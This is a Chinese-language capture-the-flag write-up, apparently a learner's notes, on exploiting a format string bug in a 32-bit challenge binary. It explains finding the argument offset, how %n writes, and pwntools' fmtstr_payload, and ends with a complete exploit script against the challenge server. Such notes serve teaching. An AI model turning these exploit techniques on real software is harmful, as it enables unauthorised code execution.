小白做题垃圾笔记,不建议阅读。
1.32位操作系统,有canary,和NX ,本来以为是绕过canary呢。
2.第12行,如果x==4就执行/bin/sh
,第10行存在格式化字符串漏洞。
是格式化字符串漏洞,对任意地址内容更改。
3.确定偏移:
pwngdb
复制aaaa所在地址。
fmtarg aaaa的地址
偏移为%11$p
4.核心payload
如果用原始方法,就是发送p32(0x0804A02C)+p32(b'%11$p')
发送这段什么意思呢?
就是前边是一个地址,它是变量x的地址,后边是%11$n
%$n的作用就是将前边的字节长度赋值给后边的地址
回头看发送的数据,地址对应偏移是11$也就是说是第十一个,那么,%11$n就会将输入的地址里的内容改为前边的长度。输入的地址是x的地址,而前边的长度是p32 4个字节。也就是4
pwntools有个函数是
fmtstr_payload(offset,writes,numbwritten=0,write_size='byte')
其中,第一个参数是偏移,也就是输入的内容得偏移,第二个是改写的内存以及内容。
格式是这样的{addr:value,addr2:value2……},addr是要改写的而地址,value是值。有的时候会写{:printf_got}
numbwritten是已经由printf写入的字节数,(可选)
write_size:必须是byte、short、int 用于指定逐byte还是逐short或者逐int写(hhn、hn、n)。(可选)
它可以用来生成一段payload。
还有一个函数是FmtStr但是我还没有深入研究。
5.
exp如下:
from pwn import *
debug=0
if debug:
p=process('./fm')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('node4.buuoj.cn',29181)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
x_add=0x0804A02C
offset=11
payload=fmtstr_payload(11,{x_add:4},write_size='int')
se(payload)
p.interactive()
#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#write_add=u32(p.recv(4))
#addr=u32(r.recvuntil('\xf7')[-4:])
#puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#sa(b'wish!\n', b'%11$p')
#rl(b'0x')
#canary = int(p.recv(16), 16)